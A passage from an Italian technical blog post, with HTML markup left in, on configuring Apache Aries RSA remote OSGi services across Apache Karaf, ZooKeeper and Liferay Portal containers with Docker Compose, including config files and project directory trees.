&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;        clean&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./karaf-instance-1/deploy:/opt/apache-karaf/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;8106-8110:8101&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;liferay-instance-1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;liferay/portal:7.3.3-ga4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./liferay-instance-1/deploy:/etc/liferay/mount/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./liferay-instance-1/files:/etc/liferay/mount/files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;6080:8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;21311:11311&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;9201:9201&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Docker Compose file per la definizione dei servizi necessari all&amp;#x27;implementazione dello scenario µServices Remoti&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il contenuto del docker-compose.yml dovrebbe essere abbastanza chiaro. Un&amp;#x27;unica
nota che vorrei fare riguarda il
&lt;a href=&quot;https://docs.docker.com/compose/compose-file/#command&quot;&gt;&lt;strong&gt;command&lt;/strong&gt;&lt;/a&gt; del
servizio Apache Karaf che ho voluto sovrascrive (vedi
&lt;a href=&quot;https://docs.docker.com/engine/reference/builder/#cmd&quot;&gt;CMD&lt;/a&gt;) per due motivi.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Aggiornare la configurazione dei repository Maven. In particolare il cambio
di protocollo da http a https, questo per evitare l&amp;#x27;errore HTTP/501 in caso
di aggiornamento e/o installazione di nuove &lt;a href=&quot;https://karaf.apache.org/manual/latest/#_feature_and_resolver&quot;&gt;Apache Karaf Feature&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Aggiornare la configurazione di Apache Karaf per installare di default le
features di Apache Aries RSA. In questo modo evitiamo di doverlo fare
successivamente dalla console.&lt;/li&gt;&lt;li&gt;Avviare Apache Karaf con il parametro clean &lt;a href=&quot;https://karaf.apache.org/manual/latest/#_cleaning_the_karaf_state&quot;&gt;Cleaning the Karaf state&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In Console 1 è mostrata la struttura del progetto che consente di tirar su i
servizi via docker compose. Ogni servizio ha la propria directory all&amp;#x27;interno
della quale sono poi contenute ulteriori directory (di deploy e configurazione)
e file.&lt;/p&gt;&lt;p&gt;La directory &lt;strong&gt;deploy&lt;/strong&gt; che fa riferimento al servizio Apache Karaf, contiene il
file di configurazione per Apache ZooKeeper, Apache Karaf e i file JAR dei
bundle che implementano il servizio &lt;strong&gt;Who I am&lt;/strong&gt; (vedi Tabella 2).&lt;/p&gt;&lt;p&gt;La directory &lt;strong&gt;deploy&lt;/strong&gt; che fa riferimento al servizio Liferay Portal, è la
directory di hot-deploy dei bundle. Su questa directory andranno eventualmente
posizionati i file JAR dei bundle API e Consumer dei servizi &lt;strong&gt;Who I am&lt;/strong&gt; e
&lt;strong&gt;Raspberry Pi&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;La directory &lt;strong&gt;files/osgi/configs&lt;/strong&gt; che fa riferimento al servizio Liferay
Portal, contiene il file di configurazione per Apache ZooKeeper.&lt;/p&gt;&lt;p&gt;La directory &lt;strong&gt;files/osgi/modules&lt;/strong&gt; che fa riferimento al servizio Liferay
Portal contiene tutti bundle necessari per installare sul container OSGi di
Liferay il supporto per Apache Aries RSA. Inoltre, all&amp;#x27;interno della stessa
directory, sono presenti i JAR dei bundle API e Consumer dei servizi &lt;strong&gt;Who I
am&lt;/strong&gt; e &lt;strong&gt;Raspberry Pi&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── docker-compose.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;└── liferay-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ├── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    └── files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        └── osgi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ├── configs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            └── modules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Struttura del progetto docker-osgi-remote-services-example&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;52-setup-di-apache-aries-rsa-per-i-container-osgi&quot;&gt;5.2 Setup di Apache Aries RSA per i container OSGi&lt;/h3&gt;&lt;p&gt;Prima di poter esporre remotamente in nostri µServices, è necessario che sia
installato Apache Aries RSA su ognuno dei container OSGi, Liferay compreso.&lt;/p&gt;&lt;p&gt;Per fare quest&amp;#x27;operazione ho preferito agire direttamente a livello di docker
compose, in questo modo, una volta tirati su i servizi sarà tutto pronto per
assaporare i µServices remoti in azione.&lt;/p&gt;&lt;p&gt;Ovviamente è possibile installare successivamente Apache Aries RSA, ma per
quanto possibile cerchiamo sempre di sfruttare al massimo gli strumenti a nostra
disposizione.&lt;/p&gt;&lt;p&gt;Lato Apache Karaf, l&amp;#x27;installazione di Apache Aries RSA è davvero semplice,
bastano i seguenti file di configurazione, già inclusi nel progetto docker
compose (vedi directory karaf-instance-1/deploy).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;org.apache.karaf.features.cfg&lt;/strong&gt;. Tramite questo file di configurazione è
stato aggiunto l&amp;#x27;indirizzo della &lt;strong&gt;rsa-features&lt;/strong&gt; e indicato quali bundle
installare in fase di start-up di Apache Karaf.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/strong&gt;. Tramite questo file è stato
configurato l&amp;#x27;indirizzo e la porta del servizio di Discovery, che in questo
caso è rappresentato da Apache ZooKeeper.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A seguire parte del contenuto del file di configurazione
delle feature Apacke Karaf di nostro interesse. In particolare fare
riferimento alla riga 9 e dalla riga 34 alla riga 36. In questo modo Apache
Karaf è istruito affinché alla partenza installi i bundle
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#service.component-service.component.runtime&quot;&gt;SCR&lt;/a&gt;
(Service Component Runtime), aries-rsa-provider-tcp e
aries-rsa-discovery-zookeeper.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Comma separated list of features repositories to register by default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;featuresRepositories&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/standard/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/spring/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/enterprise/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.karaf.features/framework/4.2.7/xml/features, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    mvn:org.apache.aries.rsa/rsa-features/1.14.0/xml/features&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Defines if the boot features are started in asynchronous mode (in a dedicated thread)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;featuresBoot&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    instance/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    package/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    log/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ssh/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    framework/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    system/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    eventadmin/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    feature/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    shell/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    management/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    service/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    jaas/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    deployer/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    diagnostic/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    wrap/2.6.1, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    bundle/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    config/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    kar/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    scr/4.2.7, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    aries-rsa-provider-tcp/1.14.0, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    aries-rsa-discovery-zookeeper/1.14.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - File di configurazione org.apache.karaf.features.cfg&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Tramite le due property mostrate a seguire, sono impostati l&amp;#x27;hostname e la porta
del servizio di Apache ZooKeeper (vedi definizione del servizio
zookeeper-instance sul file del docker compose).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper.host&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper.port&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=2181&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - File di configurazione org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Lato Liferay Portal, installare il supporto per Apache Aries RSA è un pochino
più noioso. Quello che bisogna fare è scaricare i bundle di Apache Aries RSA e
Apache ZooKeeper dal repository Maven e dal sito di Apache ZooKeeper,
successivamente metterli all&amp;#x27;interno della directory di hot-deploy
($LIFERAY_HOME/deploy) per l&amp;#x27;installazione.&lt;/p&gt;&lt;p&gt;Il file di configurazione &lt;em&gt;org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/em&gt; per il
servizio di Discovery va invece posizionato all&amp;#x27;interno della directory
$LIFERAY_HOME/osgi/configs.&lt;/p&gt;&lt;p&gt;Grazie al docker compose non dovrete fare nulla di tutto ciò, i servizi
partiranno già configurati. Quella mostrata a seguire è la struttura del
progetto docker compose, che consente di tirar su tutti i container OSGi già
configurati e pronti all&amp;#x27;uso, con installati anche i bundle OSGi dei progetti
&lt;strong&gt;Who I am&lt;/strong&gt; e &lt;strong&gt;Raspberry Pi&lt;/strong&gt; distribuiti secondo il diagramma di Figura 4.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── docker-compose.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.karaf.features.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       └── org.ops4j.pax.url.mvn.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;├── karaf-instance-2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│   └── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       ├── org.apache.karaf.features.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;│       └── org.ops4j.pax.url.mvn.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;└── liferay-instance-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ├── deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    └── files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        └── osgi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ├── configs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            │   └── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            └── modules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── jansi-1.18.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.core-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.command-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.config-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.local-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.zookeeper-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.eapub-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.examples.echotcp.api-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.examples.echotcp.consumer-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.provider.tcp-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.spi-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.topology-manager-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.osgi.service.remoteserviceadmin-1.1.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                └── zookeeper-3.4.14.jar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Struttura completa del progetto docker-osgi-remote-services-example&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per quanto riguarda invece il container OSGi Apache Karaf per il servizio
